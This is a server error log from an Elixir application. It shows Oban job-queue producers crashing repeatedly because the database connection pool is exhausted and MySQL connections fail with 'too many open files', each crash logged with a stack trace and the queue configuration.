[Sat Sep  5 22:53:13.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1873ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:53:00.239549Z], limit: 5, uuid: "426ac4d8-2c8f-4bef-810c-587e8b6b8d98", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:53:00.239554Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.247783>, refresh_timer: #Reference<0.2525715032.1099169794.247768>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:53:13.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1880ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:53:00.240808Z], limit: 10, uuid: "889c0cd2-a0c9-4566-87f7-dd73a6f59ac0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:53:00.240814Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.247811>, refresh_timer: #Reference<0.2525715032.1077411843.223973>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:53:13.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1843ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:53:00.241849Z], limit: 3, uuid: "299a6700-c0bd-4745-b9d9-7993bf02e81e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:53:00.241855Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.240401>, refresh_timer: #Reference<0.2525715032.1077411843.223976>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:53:13.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1824ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:53:00.238634Z], limit: 50, uuid: "e522270a-73b5-413d-8fe9-00b31d95ecbe", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:53:00.238643Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.247784>, refresh_timer: #Reference<0.2525715032.1099169794.247769>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:53:13.350000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:53:14.487000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:53:16.342000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:53:17.581000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:53:20.668000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:53:25.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1003ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:53:13.240948Z], limit: 3, uuid: "162dcbe7-8f00-4027-8fc4-29b36a249925", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:53:13.240954Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.248094>, refresh_timer: #Reference<0.2525715032.1068236804.240453>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:53:25.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1085ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:53:13.240347Z], limit: 20, uuid: "6a223794-ca1a-42d3-9f40-4b66f994d267", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:53:13.240352Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.99324>, refresh_timer: #Reference<0.2525715032.1121189889.99306>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:53:25.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1003ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:53:13.240059Z], limit: 5, uuid: "5fda59ef-5e48-45aa-a7ea-d8ab1dc0aa90", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:53:13.240065Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.99327>, refresh_timer: #Reference<0.2525715032.1077411843.224078>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:53:25.244000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 826ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:53:13.241375Z], limit: 50, uuid: "c9e48486-cf99-42e1-8934-7b68391a20a3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:53:13.241381Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.99325>, refresh_timer: #Reference<0.2525715032.1099169794.248076>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:53:25.245000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 817ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:53:13.240567Z], limit: 10, uuid: "ab252537-66da-47eb-a78e-67e988a0ee49", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:53:13.240573Z]}, name: {:via, Registry, {Oban.Registry, 